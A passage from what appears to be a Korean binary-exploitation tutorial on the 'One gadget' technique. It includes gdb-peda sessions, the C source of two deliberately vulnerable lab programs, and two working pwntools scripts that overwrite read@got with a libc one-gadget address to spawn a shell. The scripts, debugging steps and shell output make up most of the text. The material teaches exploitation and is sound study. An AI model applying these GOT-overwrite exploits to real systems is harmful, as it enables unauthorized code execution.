      • 이러한 취약성을 이용하여 공격가는 read() 함수의 got 영역에 값을 변경할 수 있습니다.
        • 0x601020(read@got) - 0x601080(asdf 전역 변수 주소) = 0xffffffffffffffa0
        • 0xffffffffffffffa0 + 0x601080 = 0x601020
    • 즉, 이러한 취약성을 이용하여 read@got 영역에 값을 저장할 수 있으며, 해당 영역에 One gadget 주소를 저장하면 Shell을 획득 할 수 있습니다.
Find vuln
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/OneGadgets/baby 
Printf() address : 0x7ffff785e800
Breakpoint 1, 0x00000000004006c2 in main ()
gdb-peda$ ni
AAAAAAAAAAAAAAAA
0x00000000004006c7 in main ()
gdb-peda$ ni
0x00000000004006cb in main ()
gdb-peda$ x/i $rip
=> 0x4006cb <main+85>:	add    rax,0x601080
gdb-peda$ i r rax
rax            0x4141414141414141	0x4141414141414141
gdb-peda$ p/x 0x4141414141414141 + 0x601080
$6 = 0x4141414141a151c1
gdb-peda$ p/x 0xffffffffffffffff + 0x601080
$7 = 0x60107f

gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0x1
read@plt = 0x400540
read@got = 0x601020
gdb-peda$ p/x 0x601020 - 0x601080
$8 = 0xffffffa0
gdb-peda$ p/x 0xffffffffffffffa0 + 0x601080
$9 = 0x601020
gdb-peda$ 

Exploit code

  • 다음과 같이 Exploit code를 작성 할 수 있습니다.asdf
exploit-1.py
from pwn import *

p = process('./baby')

p.recvuntil('Printf() address : ')
libcAddr = p.recvuntil('\n')
libcAddr = int(libcAddr,16)

libcBase = libcAddr - 0x55800
oneGadget = libcBase + 0x4526a 
inputValue = int(str(hex(oneGadget))[-4:],16)

log.info('libcBase Addr : '+hex(libcBase))
log.info('oneGadget Addr : '+hex(oneGadget))
log.info('Input value : '+hex(inputValue))

p.sendline(p64(0xffffffffffffffa0))
sleep(0.5)
p.sendline(p64(oneGadget))
p.interactive()
  • 하지만 해당 코드를 실행하면 shell을 획득하지 못합니다.
Fail!
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ python Exploit.py 
[+] Starting local process './baby': pid 17043
[*] libcBase Addr : 0x7f0dde749000
[*] oneGadget Addr : 0x7f0dde78e26a
[*] Input value : 0xe26a
[*] Switching to interactive mode
$ 
[*] Got EOF while reading in interactive
$ 
[*] Process './baby' stopped with exit code -11 (SIGSEGV) (pid 17043)
[*] Got EOF while sending in interactive
lazenca0x0@ubuntu:~/Exploit/OneGadgets$

Debugging

  • 원인을 찾기 위해 다음과 같이 디버깅 합니다.
    • 우선 스크립트에 sleep()를 이용해 프로세스에 연결할 수 있는 시간을 확보합니다.
Run script
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ python Exploit.py 
[+] Starting local process './baby': pid 15978
[*] libcBase Addr : 0x7f930739d000
[*] oneGadget Addr : 0x7f93073e2216
[*] Input value : 0x2216
[*] Switching to interactive mode
$ 
  • Bug의 원인을 찾기 위해 마지막 read() 함수에 Break point를 설정합니다.
Debugging - Break point
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ sudo gdb -p 18599
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400676 <+0>:	push   rbp
   0x0000000000400677 <+1>:	mov    rbp,rsp
   0x000000000040067a <+4>:	sub    rsp,0x10
   0x000000000040067e <+8>:	mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400686 <+16>:	mov    esi,0x400784
   0x000000000040068b <+21>:	mov    rdi,0xffffffffffffffff
   0x0000000000400692 <+28>:	call   0x400560 <dlsym@plt>
   0x0000000000400697 <+33>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040069b <+37>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040069f <+41>:	mov    rsi,rax
   0x00000000004006a2 <+44>:	mov    edi,0x40078b
   0x00000000004006a7 <+49>:	mov    eax,0x0
   0x00000000004006ac <+54>:	call   0x400530 <printf@plt>
   0x00000000004006b1 <+59>:	lea    rax,[rbp-0x10]
   0x00000000004006b5 <+63>:	mov    edx,0x400
   0x00000000004006ba <+68>:	mov    rsi,rax
   0x00000000004006bd <+71>:	mov    edi,0x0
   0x00000000004006c2 <+76>:	call   0x400540 <read@plt>
   0x00000000004006c7 <+81>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006cb <+85>:	add    rax,0x601080
   0x00000000004006d1 <+91>:	mov    edx,0x10
   0x00000000004006d6 <+96>:	mov    rsi,rax
   0x00000000004006d9 <+99>:	mov    edi,0x0
   0x00000000004006de <+104>:	call   0x400540 <read@plt>
   0x00000000004006e3 <+109>:	lea    rax,[rbp-0x10]
   0x00000000004006e7 <+113>:	mov    edx,0x400
   0x00000000004006ec <+118>:	mov    rsi,rax
   0x00000000004006ef <+121>:	mov    edi,0x0
   0x00000000004006f4 <+126>:	call   0x400540 <read@plt>
   0x00000000004006f9 <+131>:	mov    eax,0x0
   0x00000000004006fe <+136>:	leave  
   0x00000000004006ff <+137>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006f4
Breakpoint 1 at 0x4006f4
gdb-peda$ c
Continuing.
  • 다음과 같이 read@got 영역에 One gadget 주소가 정확히 저장되어 있습니다.
    • 하지만 One gadget에서 execve()함수를 호출할 때 두번째 인자값이 Null이 아니라는 것을 확인 할 수 있습니다.
    • 즉, 이로 인해 Shell을 획득 할수 없었습니다.
Find bug
Breakpoint 1, 0x00000000004006f4 in main ()
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0x1
read@plt = 0x400540
read@got = 0x601020
gdb-peda$ x/gx 0x601020
0x601020:	0x00007f2af001f26a
gdb-peda$ x/7i 0x00007f2af001f26a
   0x7f2af001f26a <do_system+1098>:	mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7f2af039deb8
   0x7f2af001f271 <do_system+1105>:	lea    rdi,[rip+0x147adf]        # 0x7f2af0166d57
   0x7f2af001f278 <do_system+1112>:	lea    rsi,[rsp+0x30]
   0x7f2af001f27d <do_system+1117>:	mov    DWORD PTR [rip+0x381219],0x0        # 0x7f2af03a04a0 <lock>
   0x7f2af001f287 <do_system+1127>:	mov    DWORD PTR [rip+0x381213],0x0        # 0x7f2af03a04a4 <sa_refcntr>
   0x7f2af001f291 <do_system+1137>:	mov    rdx,QWORD PTR [rax]
   0x7f2af001f294 <do_system+1140>:	call   0x7f2af00a6770 <execve>
gdb-peda$ i r rsp
rsp            0x7ffd40326ab0	0x7ffd40326ab0
gdb-peda$ x/gx 0x7ffd40326ab0 + 0x30
0x7ffd40326ae0:	0x00000001f07cdca0
gdb-peda$ ni
[Inferior 1 (process 18599) exited with code 0177]
Warning: not running or target is remote
gdb-peda$ 

Example code(2)

  • 앞에서 사용한 One gadget이 동작되도록 하기 위해 다음과 같이 code를 변경합니다.
    • memset() 함수를 이용하여 [rsp+0x30] 영역에 값을 Null로 초기화 합니다.
one.c
//gcc -fno-stack-protector -o one one.c -ldl
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <string.h>
  
char asdf[1024];
 
int main()
{
    long long index = 0;
 
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    
    memset(&index,0,56); 
    read(0, &index, 1024);
    read(0, asdf+index, 16);
    read(0, &index, 1024);
}
Example - 2
  • 다음과 같이 Exploit code를 작성 할 수 있습니다.
    • memset() 함수가 추가되면서 read()@got 주소 값도 변경됩니다.
exploit-2.py
from pwn import *

p = process('./one')

p.recvuntil('Printf() address : ')
libcAddr = p.recvuntil('\n')
libcAddr = int(libcAddr,16)

libcBase = libcAddr - 0x55800
oneGadget = libcBase + 0x4526a 
inputValue = int(str(hex(oneGadget))[-4:],16)

log.info('libcBase Addr : '+hex(libcBase))
log.info('oneGadget Addr : '+hex(oneGadget))
log.info('Input value : '+hex(inputValue))

p.sendline(p64(0xffffffffffffffa8))
sleep(0.5)
p.sendline(p64(oneGadget))
p.interactive()
  • 해당 스크립트를 실행하면 다음과 같이 Shell을 획득합니다.
Success!
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ python exploit-2.py 
[+] Starting local process './one': pid 18745
[*] libcBase Addr : 0x7f10b5ed8000
[*] oneGadget Addr : 0x7f10b5f1d26a
[*] Input value : 0xd26a
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ 

Related site